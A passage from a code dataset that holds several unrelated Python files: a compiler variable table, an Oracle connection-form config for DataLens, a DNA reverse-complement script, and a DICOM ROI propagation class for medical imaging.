getpVoid(self):\n\t\treturn self.pVoid\n\n\tdef getpLast(self):\n\t\treturn self.last.pointer\n\n\tdef add(self, funcName, t, name):\n\t\tif funcName not in self:\n\t\t\tself[funcName] = {}\n\t\t\t\n\t\tif t not in self[funcName]:\n\t\t\tself[funcName][t] = {}\n\t\t\t\n\t\tif name is \"aux\":\n\t\t\tname = \"t\" + str(self.aux)\n\t\t\tself.aux += 1\n\t\t\t\n\t\tif t == 'int':\n\t\t\tself[funcName][t][name] = self.pInt\n\t\t\tself.pLast = self.pInt\n\t\t\tself.pInt += 1\n\t\telif t == 'decim':\n\t\t\tself[funcName][t][name] = self.pDecim\n\t\t\tself.pLast = self.pDecim\n\t\t\tself.pDecim += 1\n\t\telif t == 'bool':\n\t\t\tself[funcName][t][name] = self.pBool\n\t\t\tself.pLast = self.pBool\n\t\t\tself.pBool += 1\n\t\telif t == 'funcType':\n\t\t\tself[funcName][t][\"return\"] = name\n\t\telif t == 'void':\n self[funcName][t][name] = self.pVoid\n self.pLast = self.pVoid\n self.pVoid += 1\n\t\telse:\n\t\t\traise Exception(\"No such type: \" + t)\n\t\treturn self.pLast\n\n\tdef addArr(self, funcName, t, name, size):\n\t\tif funcName not in self:\n\t\t\tself[funcName] = {}\n\t\t\t\n\t\tif t not in self[funcName]:\n\t\t\tself[funcName][t] = {}\n\t\t\t\n\t\tif name is \"aux\":\n\t\t\tname = \"t\" + str(self.aux)\n\t\t\tself.aux += 1\n\t\t\t\n\t\tif t == 'int':\n\t\t\tself[funcName][t][name] = self.pInt\n\t\t\tself.pLast = self.pInt\n\t\t\tself.pInt += size\n\t\telif t == 'decim':\n\t\t\tself[funcName][t][name] = self.pDecim\n\t\t\tself.pLast = self.pDecim\n\t\t\tself.pDecim += size\n\t\telif t == 'bool':\n\t\t\tself[funcName][t][name] = self.pBool\n\t\t\tself.pLast = self.pBool\n\t\t\tself.pBool += size\n\t\telse:\n\t\t\traise Exception(\"No such type: \" + t)\n\t\treturn self.pLast\n\n\n","repo_name":"lucfg/compilador","sub_path":"server/varTable.py","file_name":"varTable.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1221352921","text":"from __future__ import annotations\n\nfrom enum import unique\nfrom typing import Optional\n\nfrom dl_api_commons.base_models import TenantDef\nfrom dl_api_connector.form_config.models.api_schema import (\n FormActionApiSchema,\n FormApiSchema,\n FormFieldApiSchema,\n)\nfrom dl_api_connector.form_config.models.base import (\n ConnectionForm,\n ConnectionFormFactory,\n ConnectionFormMode,\n)\nfrom dl_api_connector.form_config.models.common import (\n CommonFieldName,\n FormFieldName,\n)\nimport dl_api_connector.form_config.models.rows as C\nfrom dl_api_connector.form_config.models.shortcuts.rows import RowConstructor\nfrom dl_configs.connectors_settings import ConnectorSettingsBase\n\nfrom dl_connector_oracle.api.connection_info import OracleConnectionInfoProvider\nfrom dl_connector_oracle.api.i18n.localizer import Translatable\nfrom dl_connector_oracle.core.constants import OracleDbNameType\n\n\n@unique\nclass OracleFieldName(FormFieldName):\n db_connect_method = \"db_connect_method\"\n\n\nclass OracleConnectionFormFactory(ConnectionFormFactory):\n def get_form_config(\n self,\n connector_settings: Optional[ConnectorSettingsBase],\n tenant: Optional[TenantDef],\n ) -> ConnectionForm:\n rc = RowConstructor(self._localizer)\n\n common_api_schema_items: list[FormFieldApiSchema] = [\n FormFieldApiSchema(name=CommonFieldName.host, required=True),\n FormFieldApiSchema(name=CommonFieldName.port, required=True),\n FormFieldApiSchema(name=OracleFieldName.db_connect_method, required=True),\n FormFieldApiSchema(name=CommonFieldName.db_name, required=True),\n FormFieldApiSchema(name=CommonFieldName.username, required=True),\n FormFieldApiSchema(name=CommonFieldName.password, required=self.mode == ConnectionFormMode.create),\n ]\n\n edit_api_schema = FormActionApiSchema(\n items=[\n *common_api_schema_items,\n FormFieldApiSchema(name=CommonFieldName.cache_ttl_sec, nullable=True),\n FormFieldApiSchema(name=CommonFieldName.raw_sql_level),\n FormFieldApiSchema(name=CommonFieldName.data_export_forbidden),\n ]\n )\n\n create_api_schema = FormActionApiSchema(\n items=[\n *edit_api_schema.items,\n *self._get_top_level_create_api_schema_items(),\n ]\n )\n\n check_api_schema = FormActionApiSchema(\n items=[\n *common_api_schema_items,\n *self._get_top_level_check_api_schema_items(),\n ]\n )\n\n db_name_row = C.CustomizableRow(\n items=[\n *rc.db_name_row().items,\n C.RadioButtonRowItem(\n name=OracleFieldName.db_connect_method,\n options=[\n C.SelectableOption(\n text=self._localizer.translate(Translatable(\"value_db-connect-method-service-name\")),\n value=OracleDbNameType.service_name.value,\n ),\n C.SelectableOption(\n text=self._localizer.translate(Translatable(\"value_db-connect-method-sid\")),\n value=OracleDbNameType.sid.value,\n ),\n ],\n default_value=OracleDbNameType.service_name.value,\n ),\n ]\n )\n\n return ConnectionForm(\n title=OracleConnectionInfoProvider.get_title(self._localizer),\n rows=[\n rc.host_row(),\n rc.port_row(default_value=\"1521\"),\n db_name_row,\n rc.username_row(),\n rc.password_row(self.mode),\n C.CacheTTLRow(name=CommonFieldName.cache_ttl_sec),\n rc.raw_sql_level_row(),\n rc.collapse_advanced_settings_row(),\n rc.data_export_forbidden_row(),\n ],\n api_schema=FormApiSchema(\n create=create_api_schema if self.mode == ConnectionFormMode.create else None,\n edit=edit_api_schema if self.mode == ConnectionFormMode.edit else None,\n check=check_api_schema,\n ),\n )\n","repo_name":"datalens-tech/datalens-backend","sub_path":"lib/dl_connector_oracle/dl_connector_oracle/api/connection_form/form_config.py","file_name":"form_config.py","file_ext":"py","file_size_in_byte":4291,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"54"} +{"seq_id":"39944295591","text":"#!/usr/bin/env python3\n\ndef reverse_complement(seq, rna=False):\n revdict = {'A': 'T',\n 'C': 'G',\n 'G': 'C',\n 'T': 'A'}\n revc_seq = [revdict[c] for c in seq][::-1]\n revc_seq = ''.join(revc_seq)\n return revc_seq\n\nif __name__ == '__main__':\n print(reverse_complement('AAAACCCGGT'))\n\n","repo_name":"jonathan-wells/teamdanio-rosalind","sub_path":"scripts/revc.py","file_name":"revc.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14389386991","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug 10 17:05:12 2021\n\n@author: ctorti\n\"\"\"\n\n\"\"\"\nfrom importlib import reload\nimport general_tools.shifting\nreload(general_tools.shifting)\nimport general_tools.pixarr_ops\nreload(general_tools.pixarr_ops)\nimport general_tools.general\nreload(general_tools.general)\nimport image_tools.resampling\nreload(image_tools.resampling)\nimport image_tools.registering\nreload(image_tools.registering)\nimport dro_tools.create_tx_from_dro\nreload(dro_tools.create_tx_from_dro)\nimport plotting_tools.general\nreload(plotting_tools.general)\nimport plotting_tools.res_reg_results\nreload(plotting_tools.res_reg_results)\nimport plotting_tools.conversion_results\nreload(plotting_tools.conversion_results)\nimport general_tools.geometry\nreload(general_tools.geometry)\nimport general_tools.console_printing\nreload(general_tools.console_printing)\n\"\"\"\n\nimport time\nimport os\nfrom pathlib import Path\n#from copy import deepcopy\nimport SimpleITK as sitk\nfrom general_tools.shifting import (\n get_voxel_shift_bt_slices, shift_frame, replace_ind_in_C2SindsByRoi,\n z_shift_ptsByCntByRoi, shift_ptsByCntByRoi\n )\nfrom general_tools.general import (\n get_unique_items, are_items_equal_to_within_eps, generate_reg_fname\n #does_instance_variable_exist\n )\n#from conversion_tools.pixarrs_ims import pixarr_to_im\nfrom conversion_tools.inds_pts_pixarrs import pixarrBySeg_to_ptsByCntByRoi\n#from image_tools.attrs_info import get_im_info\nfrom image_tools.resampling import resample_im, resample_labimBySeg\nfrom image_tools.registering import register_im\nfrom dro_tools.create_tx_from_dro import (\n create_tx_from_spa_dro, create_pre_tx_from_def_dro, create_tx_from_def_dro\n )\nfrom general_tools.pixarr_ops import (\n mean_frame_in_pixarrBySeg, or_frame_of_pixarrBySeg\n )\nfrom io_tools.exports import export_im, export_list_to_txt\n#from general_tools.geometry import (\n# prop_of_segs_in_extent, prop_of_rois_in_extent\n# )\nfrom general_tools.console_printing import (\n print_indsByRoi, print_ptsByCntByRoi, print_pixarrBySeg, print_labimBySeg\n )\nfrom plotting_tools.general import (\n plot_pixarrBySeg#, plot_pixarrs_from_list_of_segs_and_dicom_ims\n )\nfrom plotting_tools.res_reg_results import(\n plot_metricValues_v_iters, compare_res_results \n )\nfrom plotting_tools.conversion_results import plot_pts_and_pixarr\n\nclass Propagator:\n # TODO modify the docstrings\n \"\"\"\n This class copies or propagates DataImporter Objects based on the settings\n in the DataDownloader Object.\n \n Parameters\n ----------\n srcDataset : DataImporter Object\n Contains various data for the source DICOM series.\n trgDataset : DataImporter Object\n Contains various data for the target DICOM series.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n self.dcmIm \n self.dcmPixarr\n self.imSize \n self.imSpacings \n self.imSlcThick \n self.imPositions \n self.imDirections \n self.foruid \n self.studyuid\n self.f2sIndsBySeg\n self.pixarrBySeg\n self.labimBySeg\n self.c2sIndsByRoi \n self.ptsByCntByRoi \n self.cntdataByCntByRoi\n self.f2sIndsByRoi\n self.pixarrByRoi\n self.labimByRoi\n self.voxShift\n self.resTx\n self.resTxParams\n self.resIm = None\n self.resDcmPixarr\n self.initRegTx\n self.initRegTxParams \n self.alignedIm\n self.preRegTx \n self.preRegTxParams\n self.metricValues\n self.multiresIters\n \n \n \n \n \n Note\n ----\n There are two types of copying:\n 1. Non-relationship-preserving (NRP)\n 2. Relationship-preserving (RP) or propagation\n \n An ROI Collection can consist of one of three entity types:\n A. A single contour or segmentation\n B. A single collection of contours (ROI) or segmentations (segment)\n C. A collection of one or more ROIs or segments\n \n A RP copy/propagation of an ROI Collection will involve the entire \n source entity (type A/B/C), and for types B/C, will return a the same\n entity type. For entity type A a single contour/segmentation may propagate\n to multiple contours/segmentations (depending on the relative frames of \n reference and image sampling of the source and target images).\n \n By definition, a NRP copy is always from a single contour/segmentation to\n a single contour/segmentation (i.e. only entities of type A can be NRP \n copied). Hence the resulting entity is always a single contour/segmentation\n irrespective of how many frames are in the resampled/registration \n transformed label image, for example.\n \"\"\"\n \n def __init__(self, srcDataset, trgDataset, params, dro=None):\n \n # Copy selected instance attributes from srcDataset that will be\n # modified for useCases 3-5:\n #self.dcmIm = srcDataset.dcmIm # 20/09/21\n #self.dcmPixarr = srcDataset.dcmPixarr # 20/09/21\n \n \"\"\"\n Copy selected instance attributes from trgDataset that apply to the\n new dataset:\n \"\"\"\n self.dcmIm = trgDataset.dcmIm\n self.dcmPixarr = trgDataset.dcmPixarr\n self.imSize = trgDataset.imSize\n self.imSpacings = trgDataset.imSpacings\n self.imSlcThick = trgDataset.imSlcThick\n self.imPositions = trgDataset.imPositions\n self.imDirections = trgDataset.imDirections\n self.foruid = trgDataset.foruid\n self.studyuid = trgDataset.studyuid\n \n #self.dicomDir = trgDataset.dicomDir\n #self.dicoms = trgDataset.dicoms\n #self.divs = trgDataset.divs\n #self.f2sIndsByRoi = trgDataset.f2sIndsByRoi\n #self.pixarrByRoi = trgDataset.pixarrByRoi\n #self.roiName = trgDataset.roiName\n #self.roiNames = trgDataset.roiNames\n #self.roiNums = trgDataset.roiNums\n #self.roicol = trgDataset.roicol\n #self.seriesuid = trgDataset.seriesuid\n #self.slcNum = trgDataset.slcNum\n #self.sopuids = trgDataset.sopuids\n \n \"\"\"\n Initialise instance attributes that will be modified when making a\n non-relationship-preserving copy, relationship-preserving copy,\n non-relationship-preserving propagation, or relationship-preserving\n propagation of the source ROI Collection to the target domain:\n \"\"\"\n #self.pixarrByRoi = None # 14/09/21\n #self.f2sIndsByRoi = None # 14/09/21\n #self.labimByRoi = None # 14/09/21\n #self.dcmIm = None\n self.f2sIndsBySeg = srcDataset.f2sIndsBySeg # 15/09/21\n self.pixarrBySeg = srcDataset.pixarrBySeg # 15/09/21\n self.labimBySeg = srcDataset.labimBySeg # 15/09/21\n self.c2sIndsByRoi = srcDataset.c2sIndsByRoi # 15/09/21\n self.ptsByCntByRoi = srcDataset.ptsByCntByRoi # 14/09/21\n self.cntdataByCntByRoi = srcDataset.cntdataByCntByRoi # 14/09/21\n self.f2sIndsByRoi = srcDataset.f2sIndsBySeg # 21/09/21\n self.pixarrByRoi = srcDataset.pixarrBySeg # 21/09/21\n self.labimByRoi = srcDataset.labimByRoi # 14/09/21\n \n # Initialise the SimpleITK Transform that will be used for resampling \n # source label images to be the identity transform:\n \"\"\"\n Note:\n \n If image registration is performed, resTx will be updated to be the \n final registration transform. If a suitable DRO is found, resTx will be\n updated to be the transform created from the DRO and used to transform/\n resample the source label image.\n \"\"\"\n #self.sitkTx = sitk.Transform()\n self.resTx = sitk.Transform(3, sitk.sitkIdentity)\n self.resTxParams = self.resTx.GetParameters()\n \n # Initialise instance attributes that will be updated following\n # registration or parsing of a DRO:\n self.initRegTx = None # initial registration transform\n self.initRegTxParams = None\n self.alignedIm = None # from resampling usinig initRegTx\n #self.finalTx = None # from registration or DRO\n #self.sitkTx = None\n #self.regIm = None\n \n # Initialise instance attributes that will be updated following\n # parsing of a DRO:\n #self.sitkTx = None\n #self.txParams = None # from registration or DRO\n #self.regIm = None\n self.preRegTx = None # will be updated for deformable DROs only\n self.preRegTxParams = None\n \n \"\"\"\n Initialise self.resIm, which will result from resampling, transforming\n (from DRO transform parameters) or registration:\n \"\"\"\n self.resIm = None\n self.resDcmPixarr = None\n \n \n # TODO are inputs valid below\n \"\"\"\n # Check if combination of input parameters are valid:\n valid, errMsg = are_inputs_valid(params, trgRoiNames)\n \n if not valid:\n # Raise exception:\n raise Exception(errMsg)\n \"\"\"\n \n \"\"\"\n 10/11/21: Moved to app.py\n \n # Check whether the RTS/SEG of interest intersects the target image's\n # extent:\n self.get_intersection_of_roi_and_trgIm(srcDataset, trgDataset, params)\n \n # Determine which use case applies (and will be applied):\n self.which_use_case(srcDataset, trgDataset, params)\n \n if params.cfgDict['p2c']:\n print(f\"runID = {params.cfgDict['runID']}\")\n print(f\"useCaseThatApplies = {params.cfgDict['useCaseThatApplies']}\")\n print(f\"useCaseToApply = {params.cfgDict['useCaseToApply']}\\n\")\n \"\"\"\n \n # Initialise list of timestamps and timing messages to be stored:\n #self.timings = [time.time()]\n #self.timingMsgs = []\n \n #print(f'srcIm direction:\\n{srcDataset.dcmIm.GetDirection()}\\n')\n #print(f'trgIm direction:\\n{trgDataset.dcmIm.GetDirection()}\\n')\n \n #breakpoint()\n \n #self.propagate(params, srcDataset, trgDataset)\n \n def get_voxel_shift(self, srcDataset, trgDataset, params):\n # TODO update docstrings\n \"\"\"\n Determine the voxel shift required to make a non-relationship\n -preserving copy of an ROI. \n \n Parameters\n ----------\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n self.voxShift : list of ints\n A list (for each dimension) of the required voxel shift.\n \n Note\n ----\n The shifting required will depend on whether the source pixel array(s)\n have been resampled or not. The source pixel array(s) for cases 1/2a\n have not been resampled, so to account for the shift from srcSlcNum to\n trgSlcNumpixel shifts are required in x, y and z directions for \n relationship-preserving copies, and in only z for non-relationship\n -preserving copies.\n \n For cases 3a/4a/5a the source pixel array(s) have been resampled (or \n transformed using a registration transform) so that the in-plane\n (x and y) components do not require further modification. However due \n to the change from srcSlcNum to trgSlcNum, a shift will be required for\n the out-of-plane (z) components.\n \n Example uses: \n - To compensate for differences in z-positions of a single-framed\n Source pixel array to be \"direct\" copied to a Target slice at a \n different stack position; \n - Compensating for differences in the origin of Source and Target \n images for relationship-preserving copies of images with equal voxel\n spacings.\n \n At the moment there's no obvious way of knowing whether the pixel \n arrays are from resampled label images or not. So will rely on the \n value of params.cfgDict['useCaseToApply']. If useCaseToApply is '1' or\n '2a', shifting will be performed in all directions, else along the\n z-direction only.\n \"\"\"\n \n useCaseToApply = params.cfgDict['useCaseToApply']\n p2c = params.cfgDict['p2c']\n \n if p2c:\n print('\\n\\n', '-'*120)\n print(' Running of get_voxel_shift():')\n print('-'*120, '\\n')\n \n # Have the source pixel arrays been resampled or not?\n #if hasattr(self, 'resPixarrByRoi'):\n #if useCaseToApply in ['1', '2a', '2b']:\n if useCaseToApply in ['1', '2a']:\n im = srcDataset.dcmIm\n #slcNum = srcDataset.slcNum # initial value\n #f2sIndsByRoi = srcDataset.f2sIndsByRoi # initial value\n #pixarrByRoi = srcDataset.pixarrByRoi # initial value\n \n #if useCaseToApply in ['1', '2a']:\n if p2c:\n print('Source pixel arrays have not been resampled, and',\n 'non-relationship-preserving copy to be made.',\n '\\nApplying pixel shifts along z direction only.\\n')\n \n # Apply pixel shift in z direction only:\n shiftInX = False\n shiftInY = False\n shiftInZ = True\n \"\"\"\n else:\n if p2c:\n print('Source pixel arrays have not been resampled, and',\n 'relationship-preserving copy to be made.',\n '\\nApplying pixel shifts along all directions.\\n')\n \n # Apply pixel shift in all directions:\n shiftInX = True\n shiftInY = True\n shiftInZ = True\n \"\"\"\n \n #elif useCaseToApply in ['3a', '4a']: # 26/09/21\n elif useCaseToApply in ['3a', '4a', '5a']:\n \"\"\" \n Determining the voxel shift is only relevant for non-relationship\n -preserving propagations.\n \"\"\"\n # Use the resampled source slice number for srcSlcNum, and the\n # resampled pixel arrays for srcPixarrByRoi:\n im = self.dcmIm # 27/09/21\n #im = srcDataset.dcmIm # 14/09/21\n #srcSlcNum = self.resSlcNum # does this still exist? (06/09/21)\n #srcPixarrByRoi = self.resPixarrByRoi # does this still exist? (06/09/21)\n #slcNum = self.slcNum # (06/09/21)\n #f2sIndsByRoi = self.f2sIndsByRoi # (06/09/21)\n #pixarrByRoi = self.pixarrByRoi # (06/09/21)\n \n if p2c:\n print('Source pixel arrays have been resampled so',\n 'applying pixel shifts along z direction only.\\n')\n \n # Apply pixel shift along z dimension only:\n shiftInX = False\n shiftInY = False\n shiftInZ = True\n \n \"\"\" Note:\n self.dcmIm was initialised in the Propagator class as trgIm, but \n depending on the use case might have been replaced with the result of\n resampling srcIm to the target domain.\n \"\"\"\n #srcIm = srcDataset.dcmIm\n #slcNum = srcDataset.slcNum\n slcNum = self.slcNum # 27/09/21\n \n trgIm = trgDataset.dcmIm\n trgSlcNum = trgDataset.slcNum\n \n #print(f'slcNum = {slcNum}')\n #print(f'trgSlcNum = {trgSlcNum}')\n \n \"\"\"\n if not hasattr(self, 'resPixarrByRoi'):\n # Replace all indices in source with srcDataset.slcNum with\n # trgDataset.slcNum:\n #newF2SindsByRoi = deepcopy(srcDataset.f2sIndsByRoi)\n #self.replace_indices(srcDataset, trgDataset)\n self.replace_indices(srcDataset, trgDataset)\n replacedF2SindsByRoi = self.replacedF2SindsByRoi\n #f2sIndsByRoi = self.f2sIndsByRoi\n else:\n # Pass self.resF2SindsByRoi instead:\n replacedF2SindsByRoi = self.resF2SindsByRoi\n \"\"\"\n \n # Although the f2sInds will be shifted, the pixel data will not, so\n # simply make a copy of the source's pixarrByRoi:\n #shiftedPixarrByRoi = deepcopy(srcDataset.pixarrByRoi)\n \n \"\"\"\n # Get voxel shift between srcSlcNum in srcIm and trgSlcNum in trgIm\n # in the trgIm domain:\n voxShift = get_voxel_shift_bt_slices(\n image0=srcIm, sliceNum0=srcSlcNum,\n image1=trgIm, sliceNum1=trgSlcNum,\n refImage=trgIm\n )\n \"\"\"\n \n print(f'\\nslcNum = {slcNum}')\n print(f'trgSlcNum = {trgSlcNum}\\n')\n \n \n # Get voxel shift (in the trgIm domain) between slice slcNum in im and\n # slice trgSlcNum in trgIm:\n voxShift = get_voxel_shift_bt_slices(\n image0=im, sliceNum0=slcNum,\n image1=trgIm, sliceNum1=trgSlcNum,\n refImage=trgIm\n )\n \n if p2c:\n print(f' voxShift between slices = {voxShift}')\n #print(f' f2sIndsByRoi prior to shifting = {replacedF2SindsByRoi}')\n #print(f' f2sIndsByRoi prior to shifting = {f2sIndsByRoi}')\n #print(f' f2sIndsByRoi prior to shifting = {self.f2sIndsByRoi}')\n \n if not shiftInX:\n voxShift[0] = 0\n if not shiftInY:\n voxShift[1] = 0\n if not shiftInZ:\n voxShift[2] = 0\n \n if p2c:\n print(f' voxShift that will be applied = {voxShift}')\n print('\\nEnd of get_voxel_shift\\n')\n print('-'*120)\n \n self.voxShift = voxShift\n \n def shift_frames(self, srcDataset, trgDataset, params):\n # TODO update docstrings\n \"\"\"\n Shift the pixels in frames based on the required voxel shift.\n \n For non-relationship-preserving copies of ROIs.\n \n Parameters\n ----------\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n self.pixarrByRoi : list of Numpy Arrays\n The result of shifting the voxels in srcPixarrByRoi to make a non-\n relationship-preserving copy for target.\n self.f2sIndsBySeg : list of a list of ints\n The list (for each ROI) of a list (for each frame) of the\n frame-to-slice indices in self.shiftedPixarrByRoi.\n \n Note\n ----\n 06/09/21: This was called shift_frames_in_pixarrByRoi prior to 06/09.\n \"\"\"\n \n useCaseToApply = params.cfgDict['useCaseToApply']\n roicolMod = params.cfgDict['roicolMod']\n p2c = params.cfgDict['p2c']\n voxShift = self.voxShift\n \n if p2c:\n print('\\n\\n', '-'*120)\n print(' Running of shift_frames():')\n print('-'*120, '\\n')\n \n #print(f'dir(self):\\n{dir(self)}\\n')\n \n # Have the source pixel arrays been resampled or not?\n #if hasattr(self, 'resPixarrByRoi'):\n if useCaseToApply in ['1', '2a', '2b']:\n #slcNum = srcDataset.slcNum # initial value\n if roicolMod == 'RTSTRUCT':\n #_2sIndsBy_ = list(srcDataset.c2sIndsByRoi)\n _2sIndsBy_ = list(srcDataset.f2sIndsByRoi) # 27/09/21\n pixarrBy_ = list(srcDataset.pixarrByRoi)\n else:\n _2sIndsBy_ = list(srcDataset.f2sIndsBySeg)\n pixarrBy_ = list(srcDataset.pixarrBySeg)\n \n #elif useCaseToApply in ['3a', '3b', '4a', '4b']: # 26/09/21\n else:\n # Use the resampled source slice number for srcSlcNum, and the\n # resampled pixel arrays for srcPixarrByRoi:\n #srcSlcNum = self.resSlcNum # does this still exist? (06/09/21)\n #srcPixarrByRoi = self.resPixarrByRoi # does this still exist? (06/09/21)\n #slcNum = self.slcNum # (06/09/21)\n if roicolMod == 'RTSTRUCT':\n #_2sIndsBy_ = list(self.c2sIndsByRoi) # (15/09/21)\n _2sIndsBy_ = list(self.f2sIndsByRoi) # 27/09/21\n pixarrBy_ = list(self.pixarrByRoi) # (15/09/21)\n else:\n _2sIndsBy_ = list(self.f2sIndsBySeg) # (06/09/21)\n pixarrBy_ = list(self.pixarrBySeg) # (06/09/21)\n \n if p2c:\n print(f' _2sIndsBy_ prior to shifting = {_2sIndsBy_}')\n print(f' voxShift that will be applied = {voxShift}')\n \n shifted_2SindsBy_ = [] # initial value\n shiftedPixarrBy_ = [] # initial value\n \n # Loop through each pixel array:\n #for s in range(len(srcPixarrByRoi)):\n for s in range(len(pixarrBy_)):\n # Proceed only if there is at least one frame in this pixel array:\n #if srcPixarrByRoi[s].shape[0]:\n if pixarrBy_[s].shape[0]:\n # Replace pixarrBy_[s] with the result of shifting the \n # in-plane elements and add the voxel shift along z to:\n \"\"\"\n shiftedPixarrBySeg.append(\n shift_frame(\n frame=srcPixarrByRoi[s], voxShift=voxShift\n )\n )\n \"\"\"\n shiftedPixarrBy_.append(\n shift_frame(\n frame=pixarrBy_[s], voxShift=voxShift\n )\n )\n \n #F = len(replacedF2SindsByRoi[s])\n F = len(_2sIndsBy_[s])\n \n # Shift the contour-/frame-to-slice indices by voxShift[2] to \n # account for the z-shift:\n \"\"\"\n shiftedF2SindsBySeg.append(\n [replacedF2SindsByRoi[s][i] + voxShift[2] for i in range(F)]\n #[f2sIndsBySeg[s][i] + voxShift[2] for i in range(F)]\n )\n \"\"\"\n shifted_2SindsBy_.append(\n [_2sIndsBy_[s][i] + voxShift[2] for i in range(F)]\n )\n \n if p2c:\n unique = get_unique_items(shiftedPixarrBy_[s])\n \n print(f' There are {len(unique)} unique items in',\n f'shiftedPixarrBy_[{s}] after shifting the frame')\n \n if p2c:\n print(' shifted_2SindsBy_ after shifting =',\n f'{shifted_2SindsBy_}')\n print('end of shift_frames\\n')\n print('-'*120)\n \n \"\"\"\n self.shiftedPixarrBySeg = shiftedPixarrBySeg\n self.shiftedF2SindsBySeg = shiftedF2SindsBySeg\n #self.pixarrBySeg = shiftedPixarrBySeg\n #self.f2sIndsBySeg = shiftedF2SindsBySeg\n \"\"\"\n if roicolMod == 'RTSTRUCT':\n #self.c2sIndsByRoi = shifted_2SindsBy_\n self.f2sIndsByRoi = shifted_2SindsBy_ # 27/09/21\n self.pixarrByRoi = shiftedPixarrBy_\n else:\n self.f2sIndsBySeg = shifted_2SindsBy_\n self.pixarrBySeg = shiftedPixarrBy_\n \n def shift_points(self, srcDataset, trgDataset, params):\n # TODO update docstrings\n \"\"\"\n Shift the coordinates in contour data based on required voxel shift.\n \n For non-relationship-preserving copies of ROIs.\n \n Parameters\n ----------\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n self.shiftedPtsByCntByRoi : list of list of a list of a list of floats\n List (for each ROI) of a list (for each contour) of a list (for \n each point) of a list (for each dimension) of coordinates.\n self.shiftedC2SindsByRoi : list of a list of ints\n The list (for each ROI) of a list (for each contour) of the\n contour-to-slice indices in self.shiftedPtsByCntByRoi.\n \n Note\n ----\n 13/09/21: This was formally done in two separate functions called \n ZshiftPtsByCntByRoi() and ShiftPtsByCntByRoi().\n \n The shifting required will depend on whether the source pixel array(s)\n have been resampled or not. The source pixel array(s) for Use cases \n 1/2a have not been resampled, so pixel shifts are required in x, y and\n z directions to account for the shift from srcSlcNum to trgSlcNum.\n \n For Use cases 3a/4a/5a the source pixel array(s) have been resampled\n (or transformed using a registration transform) so that the in-plane\n (x and y) components do not require further modification. However due \n to the change from srcSlcNum to trgSlcNum, a shift will be required for\n the out-of-plane (z) components.\n \n Example uses: \n - To compensate for differences in z-positions of a single-framed\n Source pixel array to be \"direct\" copied to a Target slice at a \n different stack position; \n - Compensating for differences in the origin of Source and Target \n images for relationship-preserving copies of images with equal voxel\n spacings.\n \n At the moment there's no obvious way of knowing whether the pixel \n arrays are from resampled label images or not. So will rely on the \n value of params.cfgDict['useCaseToApply']. If useCaseToApply is '1' or\n '2a', shifting will be performed in all directions, else along the\n z-direction only.\n \"\"\"\n \n useCaseToApply = params.cfgDict['useCaseToApply']\n p2c = params.cfgDict['p2c']\n voxShift = self.voxShift\n \n if p2c:\n print('\\n\\n', '-'*120)\n print(' Running of shift_points():')\n print('-'*120, '\\n')\n \n #print(f'dir(self):\\n{dir(self)}\\n')\n \n # Have the source pixel arrays been resampled or not?\n #if hasattr(self, 'resPixarrByRoi'):\n if useCaseToApply in ['1', '2a', '2b']:\n #slcNum = srcDataset.slcNum # initial value\n c2sIndsByRoi = srcDataset.c2sIndsByRoi # initial value\n ptsByCntByRoi = srcDataset.ptsByCntByRoi # initial value\n refIm = trgDataset.dcmIm\n \n #print('\\nPrior to running shift_ptsByCntByRoi:')\n #print_indsByRoi(c2sIndsByRoi)\n #print_ptsByCntByRoi(ptsByCntByRoi)\n \n shiftedPtsByCntByRoi, shiftedC2SindsByRoi = shift_ptsByCntByRoi(\n ptsByCntByRoi, c2sIndsByRoi, voxShift, refIm, p2c\n )\n \n if p2c:\n print(f' voxShift between slices = {voxShift}')\n #print(f' f2sIndsByRoi prior to shifting = {replacedF2SindsByRoi}')\n print(f' c2sIndsByRoi prior to shifting = {c2sIndsByRoi}')\n #print(f' f2sIndsByRoi prior to shifting = {self.f2sIndsByRoi}')\n #print(' shiftedF2SindsByRoi after shifting =',\n # f'{shiftedF2SindsByRoi}')\n print(' shiftedC2SindsByRoi after shifting =',\n f'{shiftedC2SindsByRoi}')\n #print('-'*120)\n print('\\nEnd of shift_points\\n')\n print('-'*120)\n \n self.c2sIndsByRoi = shiftedC2SindsByRoi\n self.ptsByCntByRoi = shiftedPtsByCntByRoi\n \n def add_modified_data_to_existing_trgDataset(self, trgDataset, params):\n \"\"\"\n Concatenate a list (by ROI/segment) of points/pixel arrays and of \n frame-to-slice indices (f2sIndsByRoi) to the corresponding instance\n variables in trgDataset.\n \n The relevant instance variables in trgDataset may be None, e.g. if \n there was no ROI Collection imported for the target DICOM series\n i.e. trgDataset.roicol = None). If so f2sIndsByRoi and ptsByCntByRoi/\n pixarrByRoi will be shiftedF2SindsByRoi and shiftedPtsByCntByRoi/\n shiftedPixarrByRoi.\n \n Parameters\n ----------\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n self.pixarrByRoi : list of Numpy Arrays\n The list (for each ROI) of the pixel arrays of the non-relationship\n -preserving copy of the source ROI.\n self.f2sIndsByRoi : list of a list of ints\n The list (for each ROI) of a list (for each frame) of the\n frame-to-slice indices in 